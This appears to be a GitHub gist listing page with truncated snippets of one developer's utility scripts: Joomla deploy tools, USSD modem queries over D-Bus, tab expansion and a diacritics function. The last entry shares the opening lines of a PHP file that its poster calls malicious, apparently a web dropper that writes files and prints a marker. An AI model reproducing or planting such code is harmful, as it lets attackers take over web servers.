Skip to content

Instantly share code, notes, and snippets.

@lephuongbg
lephuongbg / gist:6086226
Created July 26, 2013 04:30
Function for Google App Scripts
function normalizeDiacritics(str) {
var defaultDiacriticsRemovalMap = [
{'base':'A', 'letters':/[\u0041\u24B6\uFF21\u00C0\u00C1\u00C2\u1EA6\u1EA4\u1EAA\u1EA8\u00C3\u0100\u0102\u1EB0\u1EAE\u1EB4\u1EB2\u0226\u01E0\u00C4\u01DE\u1EA2\u00C5\u01FA\u01CD\u0200\u0202\u1EA0\u1EAC\u1EB6\u1E00\u0104\u023A\u2C6F]/g},
{'base':'AA','letters':/[\uA732]/g},
{'base':'AE','letters':/[\u00C6\u01FC\u01E2]/g},
{'base':'AO','letters':/[\uA734]/g},
{'base':'AU','letters':/[\uA736]/g},
{'base':'AV','letters':/[\uA738\uA73A]/g},
{'base':'AY','letters':/[\uA73C]/g},
{'base':'B', 'letters':/[\u0042\u24B7\uFF22\u1E02\u1E04\u1E06\u0243\u0182\u0181]/g},
@lephuongbg
lephuongbg / deploy
Last active December 20, 2015 22:49
Joomla extension deploying script
#!/bin/bash
# Auto deploy module
JOOMLA="$HOME/public_html/joomla3"
ADMIN="$JOOMLA/administrator"
ADMIN_COMP="$ADMIN/components"
SITE_COMP="$JOOMLA/components"
# Function to move language files
mvlangs(){
@lephuongbg
lephuongbg / ussdIdent
Created August 12, 2013 03:50
Identify GSM modem
#!/bin/bash
modem=`dbus-send --system --print-reply --dest=org.freedesktop.ModemManager /org/freedesktop/ModemManager org.freedesktop.ModemManager.EnumerateDevices|grep "object path"`
modem=`echo $modem | sed 's/.*object path "//' | sed 's/"//'`
echo $modem
@lephuongbg
lephuongbg / ussdCancel
Created August 12, 2013 03:51
Cancel USSD query
#!/bin/bash
modem=`ussdIdent`
resp=`dbus-send --system --print-reply --dest=org.freedesktop.ModemManager ${modem} org.freedesktop.ModemManager.Modem.Gsm.Ussd.Cancel`
echo $resp
@lephuongbg
lephuongbg / ussdQuery
Created August 12, 2013 03:51
Send USSD Query
#!/bin/bash
modem=`ussdIdent`
if [ "x" = "x$1" ]
then
qry="*101#"
else
qry=$1
fi
echo "Sending $qry to $modem ..."
resp=`dbus-send --system --print-reply --dest=org.freedesktop.ModemManager $modem org.freedesktop.ModemManager.Modem.Gsm.Ussd.Initiate string:$qry`
@lephuongbg
lephuongbg / ussdTopup
Created August 12, 2013 03:52
Send USSD Topup Query
#!/bin/bash
modem=`ussdIdent`
if [ "x" = "x$1" ]
then
echo Need to give me a top up code!
exit -1
fi
qry="*100*$1#"
echo "Sending $qry to $modem ..."
resp=`dbus-send --system --print-reply --dest=org.freedesktop.ModemManager $modem org.freedesktop.ModemManager.Modem.Gsm.Ussd.Initiate string:$qry`
@lephuongbg
lephuongbg / exptabs
Last active December 20, 2015 22:49
Expand tabs into 4 spaces
#!/bin/bash
if [ $# -lt 1 ]; then
find . -type f \( -name '*.xml' -o -name '*.php' -o -name '*.css' -o -name '*.html' -o -name '*.js' \) -exec sh -c 'expand -t 4 "$1" > _tmp_ && mv _tmp_ "$1"' - {} \;;
if [ $? == 0 ]; then
echo "Expanded tabs in `pwd`";
fi
else
for arg
do
find $arg -type f \( -name '*.xml' -o -name '*.php' -o -name '*.css' -o -name '*.html' -o -name '*.js' \) -exec sh -c 'expand -t 4 "$1" > _tmp_ && mv _tmp_ $1' - {} \;;
@lephuongbg
lephuongbg / joomext_deploy.rb
Last active August 29, 2015 13:57
Ruby Script to deploy Joomla Extension from package directory to Joomla installation directory
#!/usr/bin/env ruby
require 'nokogiri'
require 'colorize'
require 'fileutils'
require 'optparse'
require 'logger'
require 'rb-inotify'
DESTINATION = "/home/herop/public_html/joomla3"
{
"nodes":[
{"name":"AcqDef","group":1},
{"name":"Acquisition","group":1},
{"name":"Atlas","group":1},
{"name":"DataUnit","group":2},
{"name":"DataUnitDef","group":2},
{"name":"ExamDef","group":2},
{"name":"ExamRes","group":3},
@lephuongbg
lephuongbg / HsoGFnxIz.php
Created March 4, 2015 02:30
A malicous file appears on my system
<?php
@touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);